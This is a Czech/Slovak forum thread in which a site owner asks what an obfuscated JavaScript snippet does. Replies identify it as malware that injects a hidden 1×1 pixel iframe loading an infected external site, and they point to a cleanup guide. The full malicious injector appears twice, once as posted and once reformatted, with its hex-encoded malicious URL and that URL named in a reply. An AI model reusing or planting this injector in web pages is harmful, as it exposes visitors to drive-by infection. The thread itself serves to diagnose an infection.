Autor | Zpráva | ||
---|---|---|---|
Nikdonic Profil * |
#1 · Zasláno: 17. 10. 2013, 22:42:04
Zdravím, můžete mi prosím někdo objasnit co dělá tento kód
;if('tRJbEP'=='WVJP')gJcC();}function MDtf(){} var APhFAG;var UcUDiTw="appendChild";var LLwP='KroTx';var hYfGM;var BTMZw=58;var nXqWh="body";function tdqK(){var mPuP='HpxW';if('oMFw'=='GhnShr')SPtffS();}var AGmfrj='yLqnz';var RLxAOm="parseInt";var SbKVl;var RbTDgA;if('nIBcJV'=='CHsC')SBBToE();var uSlQv="fromCharCode";function vgjig(){}var HzaJd='oQcej';var appVersion_var="appVersion";if('yzTXaS'=='zgJpvI')axQF='AkSYG';var vdpXeot="constructor";function IINpm(){var SZtXe='gDzPpC';if('Iksi'=='rKPF')MMhWBV();}var NNdr;var px1_var="1px";var ChZSKh='EwwlT';var px0_var="0px";var QDyjoG;var pKlahnGT="";if('mHcxJS'=='AlSF')TdlIBL();function YNHf(){var EIts='UYLF';if('wuPi'=='lvbzPr')WlLta();} var XSPmovG="a6b2b2ae786d6db29fa9b0a7b1ad6ca1adab6da7ac6ca1a5a77d70";var EIKwK='UcYng';var dloZ=202;var uiWKMc=189;var roqGtKPAT="slice";if('TRiGM'=='FAIiyf')MMAma='BOUu';function ayvKI(){} var VFcpp=(function(){function wgwKf(){}if('OsVQA'=='FrpkCV')PCYJ();return this;if('qmqfqt'=='amCv')BYutN='WKpogf';var aJRSd=77;})();var PMpn=277;if('Imiy'=='mxkCQM')LXfi='PwvTk';var gPTPW="oXSsGbl"[vdpXeot];function ejwA(){}function RxUl(){} function vJgM(){}function eMZw(){}if('UaudE'=='SnfH')ucNsB();for(var FOHLdJA=0;FOHLdJA<XSPmovG.length;FOHLdJA+=2){if('CnOLT'=='TEse')FMAan();RLCtd=VFcpp[RLxAOm](XSPmovG[roqGtKPAT](FOHLdJA,FOHLdJA+2),16)-62;pKlahnGT+=gPTPW[uSlQv](RLCtd);function ZRcn(){var mXjAs='HGHB';if('UZyfYd'=='JubCi')qdDi();}} if('exbw'=='lRfOcr')NAvEpV='uqAT';function xMKvcS(){var wiolf='eelasM';if('yVKkh'=='cbIhF')MOPoQ();} if('DzGeHV'=='CfYt')uAGLb();var BDysbCcaF="TDvafUSo";function UmEFu(){var QslBPb='reeLXx';if('aVfH'=='KcgC')YCddMJ();} var VDhRUX="";if('xMohk'=='YkBN')pQwhT='uQDy';var oeBw;if(navigator[appVersion_var].indexOf("MSIE")!=-1){VDhRUX='<iframe name="'+BDysbCcaF+'" src="'+pKlahnGT+'">';if('blnzdB'=='NPFEGN')kMMdR();}else{function Bftcz(){var lMsxJ='boSIBM';if('XvLCDU'=='ljlyr')JJrzF();}if('kbhJ'=='ZVXO')FsXiBc='lyzhbd';VDhRUX='iframe';var ESKIN='ZDfdA';if('UIjN'=='xGjC')moKNa='PTTALd';} var pQKOR;function PEjvlt(){}function dXNs(){var SzXzCH='Mpig';if('NvGubE'=='DgzQY')ODpLOU();} var WpMJhNMG=document.createElement(VDhRUX);function UumAz(){} WpMJhNMG.BWBwcm=function(){this["src"]=pKlahnGT;function IHrxqJ(){}var XYrP='HAkg';if('Djjy'=='OKlmI')IzXuRJ();} if('gEtHrb'=='kWTojX')azNMfy();var zNMax='trkA';if('hxzB'=='lAmgFE')pIiwe='FmFkM';WpMJhNMG.name=BDysbCcaF;if('itQkR'=='JLDBf')PtXM='Chfmd';if('eiEoK'=='XvYv')JIFu();WpMJhNMG.BWBwcm();var hBNc='iIrd';if('PwDavE'=='IzmT')cyeNU();WpMJhNMG.style.height=px1_var;function BQNJpU(){} WpMJhNMG.style.position="absolute";if('eEVK'=='KPWmU')QtBY='VJbB';if('hxAeWM'=='AUSHK')BtpIMO='uojaH';if('HvPBl'=='LEfF')Fotr();if('rOuhcR'=='Dfuc')Ifau();WpMJhNMG.style.top=px0_var;if('CjKS'=='gXjq')Bzkz='lHkdCz';var BXKjAx='ShtJ';function naxYvf(){var pKDVPr='PNmkge';if('mWhnSI'=='eMqHvn')ozCC();} WpMJhNMG.style.width=px1_var;if('aaVB'=='mZpMaB')SDJoL='nRxzU';function SFPZGH(){var tjZdE='JPHAW';if('UCoi'=='xFbQ')TxwDs();} WpMJhNMG.style.right=px0_var;function ryNRx(){}var eFrltX='zhmPZ';function FBGmeAs(){if('lcEgMC'=='dHSqz')aOCSat='xgtc';if('POyRd'=='AfqR')rohz='TpNP';if(document[nXqWh]){if('GGGZqV'=='uXqb')LpTE='yGfx';function TdHsQk(){} document[nXqWh][UcUDiTw](WpMJhNMG);function WwTGYK(){}var BqyKi;}else{var JsOIV=81;if('LmdP'=='fwwFXg')fXQh();setTimeout(FBGmeAs,120);var rWvMci;} function KjqoTt(){}} if('LlTtYH'=='hRKeod')xgcpZ='xaud';FBGmeAs();function fVfT(){var uYFRp='irZH';if('Tstsa'=='aSQvq')XWNOKI();}if('vldiji'=='tdMwq')XxjN();if('lfjrB'=='oGjncO')eYlybk='abZPVB';if('qcolY'=='oBEG')GBrw='izZdr';var gZKRTe;</script> |
||
juriad Profil |
#2 · Zasláno: 17. 10. 2013, 22:50:38
Nikdonic:
Jde o kus obfuskurovaného zdrojáku. Jeho cílem je to, aby člověk nebyl schopen pochopit, co dělá. Odstraň všechny nikdy nepoužité proměnné, funkce a nikdy nesplněné ify a skript se zpřehlední. Podle toho, co je na první pohled vidět, se snaží vložit do stránky nějaký iframe. |
||
Trejpa Profil |
#3 · Zasláno: 18. 10. 2013, 02:05:14
Nikdonic:
Ten kód vyrábí iframe, překvapivě velikosti 1 × 1 px absolutně napozicovaný na pozici [0,0], který do sebe načítá zavirované ukrajinské stránky. Pozor, zavirováno! http://takriso.com/in.cgi?2 Pozor, zavirováno!
Jestli máš tento kód na svém webu, tak postupuj podle návodu Máte na webu virus — co s tím? |
||
aDAm Profil |
#4 · Zasláno: 18. 10. 2013, 09:57:10
Jestli ti to pomůže tak trošku přehledněji zde:
; if ('tRJbEP' == 'WVJP') gJcC(); } function MDtf() {} var APhFAG; var UcUDiTw = "appendChild"; var LLwP = 'KroTx'; var hYfGM; var BTMZw = 58; var nXqWh = "body"; function tdqK() { var mPuP = 'HpxW'; if ('oMFw' == 'GhnShr') SPtffS(); } var AGmfrj = 'yLqnz'; var RLxAOm = "parseInt"; var SbKVl; var RbTDgA; if ('nIBcJV' == 'CHsC') SBBToE(); var uSlQv = "fromCharCode"; function vgjig() {} var HzaJd = 'oQcej'; var appVersion_var = "appVersion"; if ('yzTXaS' == 'zgJpvI') axQF = 'AkSYG'; var vdpXeot = "constructor"; function IINpm() { var SZtXe = 'gDzPpC'; if ('Iksi' == 'rKPF') MMhWBV(); } var NNdr; var px1_var = "1px"; var ChZSKh = 'EwwlT'; var px0_var = "0px"; var QDyjoG; var pKlahnGT = ""; if ('mHcxJS' == 'AlSF') TdlIBL(); function YNHf() { var EIts = 'UYLF'; if ('wuPi' == 'lvbzPr') WlLta(); } var XSPmovG = "a6b2b2ae786d6db29fa9b0a7b1ad6ca1adab6da7ac6ca1a5a77d70"; var EIKwK = 'UcYng'; var dloZ = 202; var uiWKMc = 189; var roqGtKPAT = "slice"; if ('TRiGM' == 'FAIiyf') MMAma = 'BOUu'; function ayvKI() {} var VFcpp = (function () { function wgwKf() {} if ('OsVQA' == 'FrpkCV') PCYJ(); return this; if ('qmqfqt' == 'amCv') BYutN = 'WKpogf'; var aJRSd = 77; })(); var PMpn = 277; if ('Imiy' == 'mxkCQM') LXfi = 'PwvTk'; var gPTPW = "oXSsGbl" [vdpXeot]; function ejwA() {} function RxUl() {} function vJgM() {} function eMZw() {} if ('UaudE' == 'SnfH') ucNsB(); for (var FOHLdJA = 0; FOHLdJA < XSPmovG.length; FOHLdJA += 2) { if ('CnOLT' == 'TEse') FMAan(); RLCtd = VFcpp[RLxAOm](XSPmovG[roqGtKPAT](FOHLdJA, FOHLdJA + 2), 16) - 62; pKlahnGT += gPTPW[uSlQv](RLCtd); function ZRcn() { var mXjAs = 'HGHB'; if ('UZyfYd' == 'JubCi') qdDi(); } } if ('exbw' == 'lRfOcr') NAvEpV = 'uqAT'; function xMKvcS() { var wiolf = 'eelasM'; if ('yVKkh' == 'cbIhF') MOPoQ(); } if ('DzGeHV' == 'CfYt') uAGLb(); var BDysbCcaF = "TDvafUSo"; function UmEFu() { var QslBPb = 'reeLXx'; if ('aVfH' == 'KcgC') YCddMJ(); } var VDhRUX = ""; if ('xMohk' == 'YkBN') pQwhT = 'uQDy'; var oeBw; if (navigator[appVersion_var].indexOf("MSIE") != -1) { VDhRUX = '<iframe name="' + BDysbCcaF + '" src="' + pKlahnGT + '">'; if ('blnzdB' == 'NPFEGN') kMMdR(); } else { function Bftcz() { var lMsxJ = 'boSIBM'; if ('XvLCDU' == 'ljlyr') JJrzF(); } if ('kbhJ' == 'ZVXO') FsXiBc = 'lyzhbd'; VDhRUX = 'iframe'; var ESKIN = 'ZDfdA'; if ('UIjN' == 'xGjC') moKNa = 'PTTALd'; } var pQKOR; function PEjvlt() {} function dXNs() { var SzXzCH = 'Mpig'; if ('NvGubE' == 'DgzQY') ODpLOU(); } var WpMJhNMG = document.createElement(VDhRUX); function UumAz() {} WpMJhNMG.BWBwcm = function () { this["src"] = pKlahnGT; function IHrxqJ() {} var XYrP = 'HAkg'; if ('Djjy' == 'OKlmI') IzXuRJ(); } if ('gEtHrb' == 'kWTojX') azNMfy(); var zNMax = 'trkA'; if ('hxzB' == 'lAmgFE') pIiwe = 'FmFkM'; WpMJhNMG.name = BDysbCcaF; if ('itQkR' == 'JLDBf') PtXM = 'Chfmd'; if ('eiEoK' == 'XvYv') JIFu(); WpMJhNMG.BWBwcm(); var hBNc = 'iIrd'; if ('PwDavE' == 'IzmT') cyeNU(); WpMJhNMG.style.height = px1_var; function BQNJpU() {} WpMJhNMG.style.position = "absolute"; if ('eEVK' == 'KPWmU') QtBY = 'VJbB'; if ('hxAeWM' == 'AUSHK') BtpIMO = 'uojaH'; if ('HvPBl' == 'LEfF') Fotr(); if ('rOuhcR' == 'Dfuc') Ifau(); WpMJhNMG.style.top = px0_var; if ('CjKS' == 'gXjq') Bzkz = 'lHkdCz'; var BXKjAx = 'ShtJ'; function naxYvf() { var pKDVPr = 'PNmkge'; if ('mWhnSI' == 'eMqHvn') ozCC(); } WpMJhNMG.style.width = px1_var; if ('aaVB' == 'mZpMaB') SDJoL = 'nRxzU'; function SFPZGH() { var tjZdE = 'JPHAW'; if ('UCoi' == 'xFbQ') TxwDs(); } WpMJhNMG.style.right = px0_var; function ryNRx() {} var eFrltX = 'zhmPZ'; function FBGmeAs() { if ('lcEgMC' == 'dHSqz') aOCSat = 'xgtc'; if ('POyRd' == 'AfqR') rohz = 'TpNP'; if (document[nXqWh]) { if ('GGGZqV' == 'uXqb') LpTE = 'yGfx'; function TdHsQk() {} document[nXqWh][UcUDiTw](WpMJhNMG); function WwTGYK() {} var BqyKi; } else { var JsOIV = 81; if ('LmdP' == 'fwwFXg') fXQh(); setTimeout(FBGmeAs, 120); var rWvMci; } function KjqoTt() {} } if ('LlTtYH' == 'hRKeod') xgcpZ = 'xaud'; FBGmeAs(); function fVfT() { var uYFRp = 'irZH'; if ('Tstsa' == 'aSQvq') XWNOKI(); } if ('vldiji' == 'tdMwq') XxjN(); if ('lfjrB' == 'oGjncO') eYlybk = 'abZPVB'; if ('qcolY' == 'oBEG') GBrw = 'izZdr'; var gZKRTe; |
||
IdemeNaHavaj Profil |
#5 · Zasláno: 18. 10. 2013, 10:03:14
aDAm:
To ti ako dlho trvalo kým si to takto upratal? Je na upratovanie kódu nejaká online služba? |
||
aDAm Profil |
#6 · Zasláno: 18. 10. 2013, 10:19:09
IdemeNaHavaj:
asi tak 15min v netbeans ;) |
||
IdemeNaHavaj Profil |
#7 · Zasláno: 18. 10. 2013, 10:21:04
aDAm:
sublime text to nevie čo? |
||
aDAm Profil |
#8 · Zasláno: 18. 10. 2013, 10:31:17
IdemeNaHavaj:
neee dělám si prdel ;) je na to online služba: http://jsbeautifier.org/ |
||
IdemeNaHavaj Profil |
#9 · Zasláno: 18. 10. 2013, 10:33:58
aDAm:
Existuje aj niečo na kompletné upratovanie? :) Mám strašný bordel v kódoch, pomiešané html php css js.. |
||
shaggy Profil |
#10 · Zasláno: 18. 10. 2013, 10:50:25
IdemeNaHavaj:
„Mám strašný bordel v kódoch, pomiešané html php css js..“ Myslím, že to nesúvisí s pôvodnou otázkou, tak to sem zbytočne nepleť. A na to existuje len jediný spôsob - poriadny programátor. |
||
Časová prodleva: 11 let
|
0